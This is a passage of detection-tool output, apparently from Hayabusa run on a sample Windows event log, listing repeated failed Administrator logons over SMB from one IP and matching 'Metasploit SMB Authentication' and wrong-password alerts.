Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j2AbE9D8PvuFDBz5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.908 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.966 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wzWdLEEc68ZvviGh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:25.966 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.030 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AtV3BuZiljbAeikO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.030 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tnKKfcwikNDdYOam : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.081 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.125 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jSbbzD7fpJY4Q1JL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.125 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.175 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gOASpLLE25ruCnGW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.175 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1jhUGOtszbPUwccL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.232 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.271 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yB8Mzo1RppdpLFKS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.271 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.312 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rOwoUlHGVeSbAhuN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.312 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BXIEHbkrjwedeaih : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.357 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.401 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OvsKoixgEzUgAyie : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.401 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.504 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TzaZe6Y4Tdfjseuk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.504 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.555 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FEmbuU3CAC3CecZy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.555 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.597 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kfBmqmVPd0CGVUsD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.597 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1Uz3TlU6yrcveM1w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.637 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.688 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z6hH6AkkgBFmeZ6u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.688 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.721 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J2J1W2WhA6Pj7j5j : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.721 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.769 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: soHOxnkoOn7ot0My : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.769 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4c2oWI6mRIvSVSKq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.813 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FKsXD8aTyaC4fBqq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.860 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.906 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qrzji5ucmutsZNpo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.906 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.952 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BApOU105FCLwj4zn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.952 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.996 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EO50f7NfrrdwwCNA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:26.996 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PfTYbWC8IjW87th8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.037 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.069 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wLnE6zm5US4maK04 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.069 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.112 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5AV7taC7hYQdVjAj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.112 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.153 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8MnnaSRs0bnYVlMX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.153 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.198 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YgqavZ1SuNvX7RgH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.198 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.247 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IQvoIsfW0LhDit2Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.247 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 33IPGQXc1MarY30J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.292 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.353 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: II4Ly9LnkWlq60Ux : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.353 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.401 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wncfJC7kDSI7O9Ud : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.401 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.444 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6XzbWef3PuzQK3FJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.444 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.484 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5M5670HdNC6c8O56 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.484 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ea8FcddgLyV5o6oL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.521 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LjyhmKFdBNrHIvTJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.573 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.620 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PIF47pEWBMp6Nbym : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.620 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.661 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6TO891WvJPkdjsct : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.661 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6cLnJYpHEzGAvhWG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.701 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.749 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gy6cFTrwrpRQFxfQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.749 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gxz612Z88PMCKzAk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.796 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.842 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GSPC8hibdZdyOcex : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.842 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.893 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6vlmykLeFmuhn81B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.893 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.933 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4w4lEW9w53zMFPcc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.933 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.970 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jt2lDRFWwi6adwlB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:27.970 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.021 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: G9MGvle35u5OGB5o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.021 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.065 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TJgLFM2vrnKuj5N3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:28.065 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 